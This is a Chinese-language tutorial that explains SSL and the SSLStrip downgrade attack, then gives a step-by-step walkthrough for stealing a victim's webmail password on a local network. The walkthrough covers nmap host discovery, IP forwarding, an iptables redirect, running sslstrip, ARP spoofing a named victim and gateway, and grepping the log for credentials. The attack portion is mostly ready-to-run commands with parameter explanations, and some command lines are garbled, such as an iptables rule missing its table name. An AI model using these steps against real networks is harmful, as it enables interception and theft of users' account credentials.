本文旨在探讨SSL 加密的安全问题,对于读者使用本文介绍的方法和工具 进行的一切行为不负任何责任。
一、什么是SSL
SSL 是Secure Socket Layer 的简称,中文意思是安全套接字层,由NetScape 公司所开发,用以保障在Internet 上数据传输的安全,确保数据在网络的传输 过程中不会被截取和窃听。
目前比较流行的版本为SSL3.0,它已被广泛地用于Web 浏览器与服务器之 间的身份认证和加密数据传输。
SSL 协议提供的服务主要有:
(1)认证用户和服务器,确保数据发送到正确的客户和服务器。
(2)加密数据以防止数据中途被窃取。
(3)维护数据的完整性,确保数据在传输过程中不被改变。
二、关于SSLStrip
SSLStrip 的工作原理及步骤如下:
(1) 先进行中间人攻击来拦截HTTP 流量。
(2) 将出现的HTTPS 链接全部替换为HTTP,同时记下所有改变的链接。
(3) 使用HTTP 与受害者机器连接。
(4) 同时与合法的服务器建立HTTPS。
(5) 受害者与合法服务器之间的全部通信经过了代理转发。
(6) 其中,出现的图标被替换成为用户熟悉的“小黄锁”图标,以建立信 任。
(7) 这样,中间人攻击就成功骗取了密码、账号等信息,而受害者一无所
知。
SSLStrip 的 官 方 下 载 地 址 为 :http://www.thoughtcrime.org/software/sslstrip/,目前仅提供Linux 系统下 的版本,该工具为Python 语言编写,需要Python 环境支持,故要先下载Python 并安装。
三、SSLStrip 攻击实战操作(以破解用户IP 为192.168.1.33,用户账号为test
的126 邮箱的密码为例)
步骤1:
使用nmap 对内网中开启的机器进行扫描以确定攻击目标
nmap –sP 192.168.1.0/24
参数解释:
-sP:启用ICMP 探测,即ping 扫描。
步骤2:
将网卡模式改为转发模式
Echo “1” >/proc/sys/net/ipv4/ip_forward
步骤3:
在iptables 里添加规则,把所有http 数据导入到sslstrip 中
Iptables –t –A PREROUTING –p tcp –destination-port 80 –j REDIRECT
–to-port 9527
或者
Iptables –t nat –A PREROUTING –p tcp –dport 80 –j REDIRECT –to-port 9527
参数解释:
-t:制定命令要操作的匹配包的表
-A:在选择的链末添加规则
-p:制定协议
–destination-port 或–dport:制定目标端口
-j:目标跳转 步骤4:
开启SSLStrip
Python ./sslstrip.py –a –l 9527 pojie.log
参数解释:
-a:记录所有来自服务器的SSL 及HTTP 数据流量内容。
-l:监听的端口,应和前面在iptables 里设置的一样。
-w:将拦截内容保存为文件。
步骤5:
进行中间人攻击
arpspoof –i eth0 –t 192.168.1.33 192.168.1.1
参数解释:
-i eth0:指定的工作网卡。
-t:制定要进行欺骗的目标IP 及网关IP。
步骤6:
查看SSLStrip 生成的pojie.log 文件里关于账户的信息
Cat pojie.log | grep test
从pojie.log 文件中去找含有账户test 字符的内容,从而找出用户test 的密
码。